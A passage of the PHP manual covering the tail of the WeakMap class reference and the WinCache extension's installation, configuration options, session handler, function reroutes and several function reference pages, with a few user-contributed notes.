Returns the object serving as key in the map, at the current iterating position.

Parameters

This function has no parameters.

Return Values

The object key currently being iterated.

User Contributed Notes

There are no user contributed notes for this page.


Advances to the next map element

  • « WeakMap::key
  • WeakMap::offsetExists »
  • PHP Manual
  • WeakMap
  • Advances to the next map element

WeakMap::next

(PECL weakref >= 0.2.0)

WeakMap::next — Advances to the next map element

Description

public void WeakMap::next ( void )

Advances to the next map element.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Checks whether a certain object is in the map

  • « WeakMap::next
  • WeakMap::offsetGet »
  • PHP Manual
  • WeakMap
  • Checks whether a certain object is in the map

WeakMap::offsetExists

(PECL weakref >= 0.2.0)

WeakMap::offsetExists — Checks whether a certain object is in the map

Description

public bool WeakMap::offsetExists ( object $object )

Checks whether the passed object is referenced in the map.

Parameters

object

Object to check for.

Return Values

Returns TRUE if the object is contained in the map, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Returns the value pointed to by a certain object

  • « WeakMap::offsetExists
  • WeakMap::offsetSet »
  • PHP Manual
  • WeakMap
  • Returns the value pointed to by a certain object

WeakMap::offsetGet

(PECL weakref >= 0.2.0)

WeakMap::offsetGet — Returns the value pointed to by a certain object

Description

public mixed WeakMap::offsetGet ( object $object )

Returns the value pointed to by a certain object.

Parameters

object

Some object contained as key in the map.

Return Values

Returns the value associated to the object passed as argument, NULL otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Updates the map with a new key-value pair

  • « WeakMap::offsetGet
  • WeakMap::offsetUnset »
  • PHP Manual
  • WeakMap
  • Updates the map with a new key-value pair

WeakMap::offsetSet

(PECL weakref >= 0.2.0)

WeakMap::offsetSet — Updates the map with a new key-value pair

Description

public void WeakMap::offsetSet ( object $object , mixed $value )

Updates the map with a new key-value pair. If the key already existed in the map, the old value is replaced with the new.

Parameters

object

The object serving as key of the key-value pair.

value

The arbitrary data serving as value of the key-value pair.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Removes an entry from the map

  • « WeakMap::offsetSet
  • WeakMap::rewind »
  • PHP Manual
  • WeakMap
  • Removes an entry from the map

WeakMap::offsetUnset

(PECL weakref >= 0.2.0)

WeakMap::offsetUnset — Removes an entry from the map

Description

public void WeakMap::offsetUnset ( object $object )

Removes an entry from the map.

Parameters

object

The key object to remove from the map.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Rewinds the iterator to the beginning of the map

  • « WeakMap::offsetUnset
  • WeakMap::valid »
  • PHP Manual
  • WeakMap
  • Rewinds the iterator to the beginning of the map

WeakMap::rewind

(PECL weakref >= 0.2.0)

WeakMap::rewind — Rewinds the iterator to the beginning of the map

Description

public void WeakMap::rewind ( void )

Rewinds the iterator to the beginning of the map.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the iterator is still on a valid map element

  • « WeakMap::rewind
  • WinCache »
  • PHP Manual
  • WeakMap
  • Returns whether the iterator is still on a valid map element

WeakMap::valid

(PECL weakref >= 0.2.0)

WeakMap::valid — Returns whether the iterator is still on a valid map element

Description

public bool WeakMap::valid ( void )

Returns whether the iterator is still on a valid map element.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the iterator is on a valid element that can be accessed, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Windows Cache for PHP

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • WinCache Statistics Script
    • WinCache Session Handler
    • WinCache Functions Reroutes
    • Resource Types
  • Predefined Constants
  • WinCache Functions
    • wincache_fcache_fileinfo — Retrieves information about files cached in the file cache
    • wincache_fcache_meminfo — Retrieves information about file cache memory usage
    • wincache_lock — Acquires an exclusive lock on a given key
    • wincache_ocache_fileinfo — Retrieves information about files cached in the opcode cache
    • wincache_ocache_meminfo — Retrieves information about opcode cache memory usage
    • wincache_refresh_if_changed — Refreshes the cache entries for the cached files
    • wincache_rplist_fileinfo — Retrieves information about resolve file path cache
    • wincache_rplist_meminfo — Retrieves information about memory usage by the resolve file path cache
    • wincache_scache_info — Retrieves information about files cached in the session cache
    • wincache_scache_meminfo — Retrieves information about session cache memory usage
    • wincache_ucache_add — Adds a variable in user cache only if variable does not already exist in the cache
    • wincache_ucache_cas — Compares the variable with old value and assigns new value to it
    • wincache_ucache_clear — Deletes entire content of the user cache
    • wincache_ucache_dec — Decrements the value associated with the key
    • wincache_ucache_delete — Deletes variables from the user cache
    • wincache_ucache_exists — Checks if a variable exists in the user cache
    • wincache_ucache_get — Gets a variable stored in the user cache
    • wincache_ucache_inc — Increments the value associated with the key
    • wincache_ucache_info — Retrieves information about data stored in the user cache
    • wincache_ucache_meminfo — Retrieves information about user cache memory usage
    • wincache_ucache_set — Adds a variable in user cache and overwrites a variable if it already exists in the cache
    • wincache_unlock — Releases an exclusive lock on a given key
  • Building for Windows
    • Prerequisites
    • Compiling and building
    • Verifying the build

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Windows Cache Extension for PHP is a PHP accelerator that is used to increase the speed of PHP applications running on Windows and Windows Server. Once the Windows Cache Extension for PHP is enabled and loaded by the PHP engine, PHP applications can take advantage of the functionality without any code modifications.

The Windows Cache Extension includes 5 different types of caches. The following describes the purpose of each cache type and the benefits it provides.

  • PHP Opcode Cache - PHP is a script processing engine, which reads an input stream of data that contains text and/or PHP instructions and produces another stream of data, most commonly in the HTML format. This means that on a web server the PHP engine reads, parses, compiles and executes a PHP script each time that it is requested by a Web client. The reading, parsing and compilation operations put additional load on the web server's CPU and file system and thus affect the overall performance of a PHP web application. The PHP bytecode (opcode) cache is used to store the compiled script bytecode in shared memory so that it can be re-used by PHP engine for subsequent executions of the same script.

  • File Cache - Even with the PHP opcode cache enabled, the PHP engine has to accesses the script files on a file system. When PHP scripts are stored on a remote UNC file share, the file operations introduce a significant performance overhead. The Windows Cache Extension for PHP includes a file cache that is used to store the content of the PHP script files in shared memory, which reduces the amount of file system operations performed by PHP engine.

  • Resolve File Path Cache - PHP scripts very often include or operate with files by using relative file paths. Every file path has to be normalized to an absolute file path by the PHP engine. When a PHP application uses many PHP files and accesses them by relative paths, the operation of resolving the paths may negatively impact the application's performance. The Windows Cache Extension for PHP provides a Resolve File Path cache, which is used to store the mappings between relative and absolute file paths, thereby reducing the number of path resolutions that the PHP engine has to perform.

  • User Cache (available since version 1.1.0) - PHP scripts can take advantage of the shared memory cache by using the user cache API's. PHP objects and variables can be stored in the user cache and then re-used on subsequent requests. This can be used to improve performance of PHP scripts and to share the data across multiple PHP processes.

  • Session Handler (available since version 1.1.0) - The WinCache session handler can be used to store the PHP session data in the shared memory cache. This avoids file system operations for reading and writing session data, which improves performance when large amount of data is stored in PHP session.

User Contributed Notes

There are no user contributed notes for this page.


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • WinCache Statistics Script
  • WinCache Session Handler
  • WinCache Functions Reroutes
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.


Requirements

The extension is currently supported only on the following configurations:

Windows OS:

  • Windows XP SP3 with IIS 5.1 and » FastCGI Extension
  • Windows Server 2003 with IIS 6.0 and » FastCGI Extension
  • Windows Vista SP1 with IIS 7.0 and FastCGI Module
  • Windows Server 2008 with IIS 7.0 and FastCGI Module
  • Windows 7 with IIS 7.5 and FastCGI Module
  • Windows Server 2008 R2 with IIS 7.5 and FastCGI Module

PHP:

  • PHP 5.2.X, Non-thread-safe build
  • PHP 5.3 X86, Non-thread-safe VC9 build

Note: The WinCache Extension can only be used when IIS is configured to run PHP via FastCGI.

User Contributed Notes

win_php at user dot com 28-Aug-2013 02:04
I finally fixed the problem by installing another freshly downloaded php install from windows.php.net. I think that the problem was that the php version in Easyphp is thread safe as opposed to non-thread safe which is recommended for IIS/FastCgi.
win_php at user dot com 28-Aug-2013 04:45
Is this supported on Windows 8? I downloaded the WinCache for php5.3 and the one for PHP 5.4. I tried on both and it failed in both cases with the same error:

C:\Program Files (x86)\EasyPHP-DevServer-13.1VC11\binaries\php\php_runningversion\php-cgi.exe - The FastCGI process exited unexpectedly

and yes, I am using php5.4, which comes with easyphp vc11 and I am telling IIS/FastCGI to look for php-cgi in the easyphp folder. That has no problems, except when I try to load this extension, which hoses php for IIS.
lslight at no-log dot org 27-Aug-2013 06:48
PHP 5.4 X86, Non-thread-safe VC9 build, supported with WinCache 1.3.x
PHP 5.5 X86, Non-thread-safe VC11 build, supported with WinCache 1.3.5


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/wincache.

There are two packages for this extension: one package is for PHP versions 5.2.X, and the other package is for PHP 5.3.X. Select the package that is appropriate for the PHP version being used.

To install and enable the extension, follow these steps:

  1. Unpack the package into some temporary location.

  2. Copy the php_wincache.dll file into the PHP extensions folder. Typically this folder is called "ext" and it is located in the same folder with all PHP binary files. For example: C:\Program Files\PHP\ext.

  3. Using a text editor, open the php.ini file, which is usually located in the same folder where all PHP binary files are. For example: C:\Program Files\PHP\php.ini.

  4. Add the following line at the end of the php.ini file: extension = php_wincache.dll.

  5. Save and close the php.ini file.

  6. Recycle the IIS Application Pools for PHP to pick up the configuration changes. To check that the extension has been enabled, create a file called phpinfo.php with a PHP code that calls phpinfo function.

  7. Save the phpinfo.php file in the root folder of a IIS web site that uses PHP, then open a browser and make a request to http://localhost/phpinfo.php. Search within the returned web page for a section called wincache. If the extension is enabled, then the phpinfo output will list the configuration settings provided by the WinCache.

Note: Do not forget to remove phpinfo.php file from the web site's root folder after verifying that extension has been enabled.

User Contributed Notes

nils dot luxton at gmail dot com 24-Jun-2011 01:10
If you're after pre-compiled binaries for WinCache, you can find them here: http://www.iis.net/download/WinCacheForPhp on the right-hand side of the page (under the Web Platform Installer button)


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

The following table lists and explains the configuration settings provided by the WinCache extension:

WinCache configuration options
Name | Default | Minimum | Maximum | Changeable | Changelog
wincache.fcenabled | "1" | "0" | "1" | PHP_INI_ALL | Available since WinCache 1.0.0
wincache.fcenabledfilter | "NULL" | "NULL" | "NULL" | PHP_INI_SYSTEM | Available since WinCache 1.0.0
wincache.fcachesize | "24" | "5" | "255" | PHP_INI_SYSTEM | Available since WinCache 1.0.0
wincache.fcndetect | "1" | "0" | "1" | PHP_INI_SYSTEM | Available since WinCache 1.1.0
wincache.maxfilesize | "256" | "10" | "2048" | PHP_INI_SYSTEM | Available since WinCache 1.0.0
wincache.ocenabled | "1" | "0" | "1" | PHP_INI_ALL | Available since WinCache 1.0.0
wincache.ocenabledfilter | "NULL" | "NULL" | "NULL" | PHP_INI_SYSTEM | Available since WinCache 1.0.0
wincache.ocachesize | "96" | "15" | "255" | PHP_INI_SYSTEM | Available since WinCache 1.0.0
wincache.filecount | "4096" | "1024" | "16384" | PHP_INI_SYSTEM | Available since WinCache 1.0.0
wincache.chkinterval | "30" | "0" | "300" | PHP_INI_SYSTEM | Available since WinCache 1.0.0
wincache.ttlmax | "1200" | "0" | "7200" | PHP_INI_SYSTEM | Available since WinCache 1.0.0
wincache.enablecli | 0 | 0 | 1 | PHP_INI_SYSTEM | Available since WinCache 1.0.0
wincache.ignorelist | NULL | NULL | NULL | PHP_INI_ALL | Available since WinCache 1.0.0
wincache.namesalt | NULL | NULL | NULL | PHP_INI_SYSTEM | Available since WinCache 1.0.0
wincache.ucenabled | 1 | 0 | 1 | PHP_INI_SYSTEM | Available since WinCache 1.1.0
wincache.ucachesize | 8 | 5 | 85 | PHP_INI_SYSTEM | Available since WinCache 1.1.0
wincache.scachesize | 8 | 5 | 85 | PHP_INI_SYSTEM | Available since WinCache 1.1.0
wincache.rerouteini | NULL | NULL | NULL | PHP_INI_SYSTEM | Available since WinCache 1.2.0
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

wincache.fcenabled boolean
Enables or disables the file cache functionality.
wincache.fcenabledfilter string
Defines a comma-separated list of IIS web site identifiers where file cache should be enabled or disabled. This setting works in conjunction with wincache.fcenabled: if wincache.fcenabled is set to 1, then the sites listed in the wincache.fcenabledfilter will have the file cache turned off; if wincache.fcenabled is set to 0, then the sites listed in the wincache.fcenabledfilter will have the file cache turned on.
wincache.fcachesize integer
Defines the maximum memory size (in megabytes) that is allocated for the file cache. If the total size of all the cached files exceeds the value specified in this setting, then most stale files will be removed from the file cache.
wincache.fcndetect boolean
Enables or disables the file change notification detection functionality. If file change notification is supported then it will be used to refresh the opcode and file cache entries as soon as the corresponding files are modified on a file system. If file change notification is not supported, for example when using network file shares, then wincache will poll for file changes at regular time intervals specified by wincache.chkinterval.
wincache.maxfilesize integer
Defines the maximum allowed size (in kilobytes) for a single file to be cached. If a file size exceeds the specified value, the file will not be cached. This setting applies to the file cache only.
wincache.ocenabled boolean
Enables or disables the opcode cache functionality
wincache.ocenabledfilter string
Defines a comma-separated list of IIS web site identifiers where opcode cache should be enabled or disabled. This setting works in conjunction with wincache.ocenabled: if wincache.ocenabled is set to 1, then the sites listed in the wincache.ocenabledfilter will have the opcode cache turned off; if wincache.ocenabled is set to 0, then the sites listed in the wincache.ocenabledfilter will have the opcode cache turned on.
wincache.ocachesize integer
Defines the maximum memory size (in megabytes) that is allocated for the opcode cache. If the cached opcode size exceeds the specified value, then most stale opcode will be removed from the cache. Note that the opcode cache size must be at least 3 times bigger than file cache size. If that is not the case the opcode cache size will be automatically increased.
wincache.filecount integer
Defines how many files are expected to be cached by the extension, so that appropriate memory size is allocated at the startup time. If the number of files exceeds the specified value, the WinCache will re-allocate more memory as needed.
wincache.chkinterval integer
Defines how often (in seconds) the extension checks for file changes in order to refresh the cache. Setting it to 0 will disable the refreshing of the cache. The file changes will not be reflected in the cache unless the cache entry for that file is removed by scavenger or IIS application pool is recycled or wincache_refresh_if_changed function is called.
wincache.ttlmax integer
Defines the maximum time to live (in seconds) for a cached entry without being used. Setting it to 0 will disable the cache scavenger, so the cached entries will never be removed from the cache during the lifetime of the IIS worker process.
wincache.enablecli boolean
Defines if caching is enabled when PHP is running in command line (CLI) mode.
wincache.ignorelist string

Defines a list of files that should not be cached by the extension. The files list is specified by using file names only, separated by the pipe symbol - "|".

Example #1 wincache.ignorelist example

wincache.ignorelist = "index.php|misc.php|admin.php"

wincache.namesalt string
Defines a string that will be used when naming the extension specific objects that are stored in shared memory. This is used to avoid conflicts that may be caused if other applications within an IIS worker process tries to access shared memory. The length of the namesalt string cannot exceed 8 characters.
wincache.ucenabled boolean
Enables or disables the user cache functionality.
wincache.ucachesize integer
Defines the maximum memory size in megabytes that is allocated for the user cache. If the total size of variables stored in the user cache exceeds the specified value, then the most stale variables will be removed from the cache.
wincache.scachesize integer
Defines the maximum memory size in megabytes that is allocated for the session cache. If the total size of data stored in the session cache exceeds the specified value, then the most stale data will be removed from the cache.
wincache.rerouteini string
Specifies an absolute or a relateve path to the reroute.ini file that contains the list of PHP functions whose implementation should be replaced with the WinCache function equivalents. If a relative path is specified then it is assumed to be relative to the location of php-cgi.exe file.

User Contributed Notes

There are no user contributed notes for this page.


WinCache Statistics Script

The installation package for WinCache includes a PHP script, wincache.php, that can be used to obtain cache information and statistics.

If the WinCache extension was installed via the Microsoft Web Platform Installer, then this script is located in %SystemDrive%\Program Files\IIS\Windows Cache for PHP\. On a 64-bit version of the Windows Server operating system, the script is located in %SystemDrive%\Program Files (x86)\IIS\Windows Cache for PHP. If the extension was installed manually, then the wincache.php will be located in the same folder from which the content of the installation package was extracted.

To use wincache.php, copy it into a root folder of a Web site or into any subfolder. To protect the script, open it in any text editor and replace the values for USERNAME and PASSWORD constants. If any other IIS authentication is enabled on the server, then follow the instructions in the comments:

Example #1 Authentication configuration for wincache.php

<?php
/**
 * ======================== CONFIGURATION SETTINGS ==============================
 * If you do not want to use authentication for this page, set USE_AUTHENTICATION to 0.
 * If you use authentication then replace the default password.
 */
define('USE_AUTHENTICATION', 1);
define('USERNAME', 'wincache');
define('PASSWORD', 'wincache');

/**
 * The Basic PHP authentication will work only when IIS is configured to support
 * Anonymous Authentication' and nothing else. If IIS is configured to support/use
 * any other kind of authentication like Basic/Negotiate/Digest etc, this will not work.
 * In that case use the array below to define the names of users in your
 * domain/network/workgroup which you want to grant access to.
 */
$user_allowed = array('DOMAIN\user1', 'DOMAIN\user2', 'DOMAIN\user3');

/**
 * If the array contains string 'all', then all the users authenticated by IIS
 * will have access to the page. Uncomment the below line and comment above line
 * to grant access to all users who gets authenticated by IIS.
 */
/* $user_allowed = array('all'); */

/** ===================== END OF CONFIGURATION SETTINGS ========================== */
?>

Note: Always protect the wincache.php script by using either the built-in authentication or the server's authentication mechanism. Leaving this script unprotected may compromise the security of your web application and web server.

User Contributed Notes

There are no user contributed notes for this page.


WinCache Session Handler

The WinCache session handler (available since WinCache 1.1.0) can be used to configure PHP to store the session data in shared memory session cache. Using shared memory instead of the default file session storage helps improve performance of PHP applications that store large amount of data in session objects. Wincache session cache uses file-backed shared memory, which ensures that the session data is not lost during recycling of IIS application pools.

To configure PHP to use WinCache session handler set the php.ini setting session.save_handler to wincache. By default the Windows temporary file location is used for storing the session data. To change the location of the session file use session.save_path directive.

Example #1 Enabling WinCache session handler

session.save_handler = wincache
session.save_path = C:\inetpub\temp\session\

User Contributed Notes

some at email dot com 16-Nov-2011 10:23
IF you use Apache and Session not work add to FCGID

DefaultInitEnv APP_POOL_ID "DefaultAppPool"
sethm at uoregon dot edu 06-Oct-2010 07:04
Just as an fyi to anyone who has similar issues. WinCache v1.1.x would not write sessions to files under certain conditions. This means that all sessions are lost whenever an app-pool recycle occur. Here is the work around:

If your app-pool name has periods (.) in it, change them to underscores (_). So an app-pool named www.somesite.com should be renamed to www_somesite_com.

You can see the discussion here:
http://forums.iis.net/p/1171996/1957839.aspx#1957839


WinCache Functions Reroutes

The WinCache functions reroutes (available since WinCache 1.2.0) can be used to replace built-in PHP functions with their equivalents that are optimized for a particular purpose. WinCache extension includes Windows-optimized implementation of PHP file functions that may improve performance of PHP applications in cases when PHP has to access files on network shares. The optimized implementation is provided for the following functions:

  • file_exists
  • file_get_contents
  • readfile
  • is_readable
  • is_writable
  • is_dir
  • realpath
  • filesize

To configure WinCache to use the functions reroutes use the file reroute.ini that is included in WinCache installation package. Copy this file into the same directory where php.ini file is located. After that add the wincache.rerouteini setting in php.ini and specify an absolute or relative path to the reroute.ini file.

Example #1 Enabling WinCache functions reroutes

wincache.rerouteini = C:\PHP\reroute.ini

Note: If WinCache functions reroutes are enabled it is recommended to increase the WinCache file cache size. This can be done by using wincache.fcachesize setting.

The reroute.ini file contains the mappings between the native PHP functions and their equivalents in WinCache. Each line in the file defines a mapping by using the following syntax:

<PHP function name>:[<number of function parameters>]=<wincache function name>

The example of the file is shown below. In this example the calls to PHP function file_get_contents() will be replaced with calls to wincache_file_get_contents() only if the number of parameters passed to the function is less than or equals to 2. Specifying the number of parameters is useful when replacement function does not handle all the function's parameters.

Example #2 Reroute.ini file content

[FunctionRerouteList]
file_exists=wincache_file_exists
file_get_contents:2=wincache_file_get_contents
readfile:2=wincache_readfile
is_readable=wincache_is_readable
is_writable=wincache_is_writable
is_writeable=wincache_is_writable
is_file=wincache_is_file
is_dir=wincache_is_dir
realpath=wincache_realpath
filesize=wincache_filesize

User Contributed Notes

There are no user contributed notes for this page.


WinCache Functions

Table of Contents

  • wincache_fcache_fileinfo — Retrieves information about files cached in the file cache
  • wincache_fcache_meminfo — Retrieves information about file cache memory usage
  • wincache_lock — Acquires an exclusive lock on a given key
  • wincache_ocache_fileinfo — Retrieves information about files cached in the opcode cache
  • wincache_ocache_meminfo — Retrieves information about opcode cache memory usage
  • wincache_refresh_if_changed — Refreshes the cache entries for the cached files
  • wincache_rplist_fileinfo — Retrieves information about resolve file path cache
  • wincache_rplist_meminfo — Retrieves information about memory usage by the resolve file path cache
  • wincache_scache_info — Retrieves information about files cached in the session cache
  • wincache_scache_meminfo — Retrieves information about session cache memory usage
  • wincache_ucache_add — Adds a variable in user cache only if variable does not already exist in the cache
  • wincache_ucache_cas — Compares the variable with old value and assigns new value to it
  • wincache_ucache_clear — Deletes entire content of the user cache
  • wincache_ucache_dec — Decrements the value associated with the key
  • wincache_ucache_delete — Deletes variables from the user cache
  • wincache_ucache_exists — Checks if a variable exists in the user cache
  • wincache_ucache_get — Gets a variable stored in the user cache
  • wincache_ucache_inc — Increments the value associated with the key
  • wincache_ucache_info — Retrieves information about data stored in the user cache
  • wincache_ucache_meminfo — Retrieves information about user cache memory usage
  • wincache_ucache_set — Adds a variable in user cache and overwrites a variable if it already exists in the cache
  • wincache_unlock — Releases an exclusive lock on a given key

User Contributed Notes

There are no user contributed notes for this page.


Retrieves information about files cached in the file cache

  • « WinCache Functions
  • wincache_fcache_meminfo »
  • PHP Manual
  • WinCache Functions
  • Retrieves information about files cached in the file cache

wincache_fcache_fileinfo

(PECL wincache >= 1.0.0)

wincache_fcache_fileinfo — Retrieves information about files cached in the file cache

Description

array wincache_fcache_fileinfo ([ bool $summaryonly = false ] )

Retrieves information about file cache content and its usage.

Parameters

summaryonly

Controls whether the returned array will contain information about individual cache entries along with the file cache summary.

Return Values

Array of meta data about file cache or FALSE on failure

The array returned by this function contains the following elements:

  • total_cache_uptime - total time in seconds that the file cache has been active
  • total_file_count - total number of files that are currently in the file cache
  • total_hit_count - number of times the files have been served from the file cache
  • total_miss_count - number of times the files have not been found in the file cache

  • file_entries - an array that contains the information about all the cached files:

    • file_name - absolute file name of the cached file
    • add_time - time in seconds since the file has been added to the file cache
    • use_time - time in seconds since the file has been accessed in the file cache
    • last_check - time in seconds since the file has been checked for modifications
    • hit_count - number of times the file has been served from the cache
    • file_size - size of the cached file in bytes

Examples

Example #1 A wincache_fcache_fileinfo() example

<pre>
<?php
print_r(wincache_fcache_fileinfo());
?>
</pre>

The above example will output:

Array
(   [total_cache_uptime] => 3234
    [total_file_count] => 5
    [total_hit_count] => 0
    [total_miss_count] => 1
    [file_entries] => Array
        (
            [1] => Array
                (
                    [file_name] => c:\inetpub\wwwroot\checkcache.php
                    [add_time] => 1
                    [use_time] => 0
                    [last_check] => 1
                    [hit_count] => 1
                    [file_size] => 2435
                )
            [2] => Array (...iterates for each cached file)
        )
)

See Also

  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

There are no user contributed notes for this page.


Retrieves information about file cache memory usage

  • « wincache_fcache_fileinfo
  • wincache_lock »
  • PHP Manual
  • WinCache Functions
  • Retrieves information about file cache memory usage

wincache_fcache_meminfo

(PECL wincache >= 1.0.0)

wincache_fcache_meminfo — Retrieves information about file cache memory usage

Description

array wincache_fcache_meminfo ( void )

Retrieves information about memory usage by file cache.

Return Values

Array of meta data about file cache memory usage or FALSE on failure

The array returned by this function contains the following elements:

  • memory_total - amount of memory in bytes allocated for the file cache
  • memory_free - amount of free memory in bytes available for the file cache
  • num_used_blks - number of memory blocks used by the file cache
  • num_free_blks - number of free memory blocks available for the file cache
  • memory_overhead - amount of memory in bytes used for the file cache internal structures

Examples

Example #1 A wincache_fcache_meminfo() example

<pre>
<?php
print_r(wincache_fcache_meminfo());
?>
</pre>

The above example will output:

Array
(
    [memory_total] => 134217728
    [memory_free] => 131339120
    [num_used_blks] => 361
    [num_free_blks] => 3
    [memory_overhead] => 5856
)

See Also

  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

There are no user contributed notes for this page.


Acquires an exclusive lock on a given key

  • « wincache_fcache_meminfo
  • wincache_ocache_fileinfo »
  • PHP Manual
  • WinCache Functions
  • Acquires an exclusive lock on a given key

wincache_lock

(PECL wincache >= 1.1.0)

wincache_lock — Acquires an exclusive lock on a given key

Description

bool wincache_lock ( string $key [, bool $isglobal = false ] )

Obtains an exclusive lock on a given key. The execution of the current script will be blocked until the lock can be obtained. Once the lock is obtained, the other scripts that try to request the lock by using the same key will be blocked, until the current script releases the lock by using wincache_unlock().

Warning

Using of the wincache_lock() and wincache_unlock() can cause deadlocks when executing PHP scripts in a multi-process environment like FastCGI. Do not use these functions unless you are absolutely sure you need to use them. For the majority of the operations on the user cache it is not necessary to use these functions.

Parameters

key

Name of the key in the cache to get the lock on.

isglobal

Controls whether the scope of the lock is system-wide or local. Local locks are scoped to the application pool in IIS FastCGI case or to all php processes that have the same parent process identifier.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Using wincache_lock()

<?php
$fp = fopen("/tmp/lock.txt", "r+");
if (wincache_lock(“lock_txt_lock”)) { // do an exclusive lock
    ftruncate($fp, 0); // truncate file
    fwrite($fp, "Write something here\n");
    wincache_unlock(“lock_txt_lock”); // release the lock
} else {
    echo "Couldn't get the lock!";
}
fclose($fp);
?>

See Also

  • wincache_unlock() - Releases an exclusive lock on a given key
  • wincache_ucache_set() - Adds a variable in user cache and overwrites a variable if it already exists in the cache
  • wincache_ucache_get() - Gets a variable stored in the user cache
  • wincache_ucache_delete() - Deletes variables from the user cache
  • wincache_ucache_clear() - Deletes entire content of the user cache
  • wincache_ucache_exists() - Checks if a variable exists in the user cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache

User Contributed Notes

donraman at microsoft dot com 24-Apr-2010 03:11
User should be aware that character '\' is not allowed as part of lock name. The reason why backslash is not allowed is because we are using CreateMutex call as described at http://msdn.microsoft.com/en-us/library/ms682411(VS.85).aspx. As per this article third parameter cannot have '\' character which is the lock name.

This means below code will not work.

<?php

   $ret_val = wincache_lock("C:\WINDOWS\Temp/cache");
   echo $ret_val . '<br>';
   $ret_val = wincache_unlock("C:\WINDOWS\Temp/cache");
   echo $ret_val . '<br>';

?>


Retrieves information about files cached in the opcode cache

  • « wincache_lock
  • wincache_ocache_meminfo »
  • PHP Manual
  • WinCache Functions
  • Retrieves information about files cached in the opcode cache

wincache_ocache_fileinfo

(PECL wincache >= 1.0.0)

wincache_ocache_fileinfo — Retrieves information about files cached in the opcode cache

Description

array wincache_ocache_fileinfo ([ bool $summaryonly = false ] )

Retrieves information about opcode cache content and its usage.

Parameters

summaryonly

Controls whether the returned array will contain information about individual cache entries along with the opcode cache summary.

Return Values

Array of meta data about opcode cache or FALSE on failure

The array returned by this function contains the following elements:

  • total_cache_uptime - total time in seconds that the opcode cache has been active
  • total_file_count - total number of files that are currently in the opcode cache
  • total_hit_count - number of times the compiled opcode have been served from the cache
  • total_miss_count - number of times the compiled opcode have not been found in the cache
  • is_local_cache - true is the cache metadata is for a local cache instance, false if the metadata is for the global cache

  • file_entries - an array that contains the information about all the cached files:

    • file_name - absolute file name of the cached file
    • add_time - time in seconds since the file has been added to the opcode cache
    • use_time - time in seconds since the file has been accessed in the opcode cache
    • last_check - time in seconds since the file has been checked for modifications
    • hit_count - number of times the file has been served from the cache
    • function_count - number of functions in the cached file
    • class_count - number of classes in the cached file

Examples

Example #1 A wincache_ocache_fileinfo() example

<pre>
<?php
print_r(wincache_ocache_fileinfo());
?>
</pre>

The above example will output:

Array
(
    [total_cache_uptime] => 17357
    [total_file_count] => 121
    [total_hit_count] => 36562
    [total_miss_count] => 201
    [file_entries] => Array
        (
            [1] => Array
                (
                    [file_name] => c:\inetpub\wwwroot\checkcache.php
                    [add_time] => 17356
                    [use_time] => 7
                    [last_check] => 10
                    [hit_count] => 454
                    [function_count] => 0
                    [class_count] => 1
                )
            [2] => Array (...iterates for each cached file)
        )
)

See Also

  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

There are no user contributed notes for this page.


Retrieves information about opcode cache memory usage

  • « wincache_ocache_fileinfo
  • wincache_refresh_if_changed »
  • PHP Manual
  • WinCache Functions
  • Retrieves information about opcode cache memory usage

wincache_ocache_meminfo

(PECL wincache >= 1.0.0)

wincache_ocache_meminfo — Retrieves information about opcode cache memory usage

Description

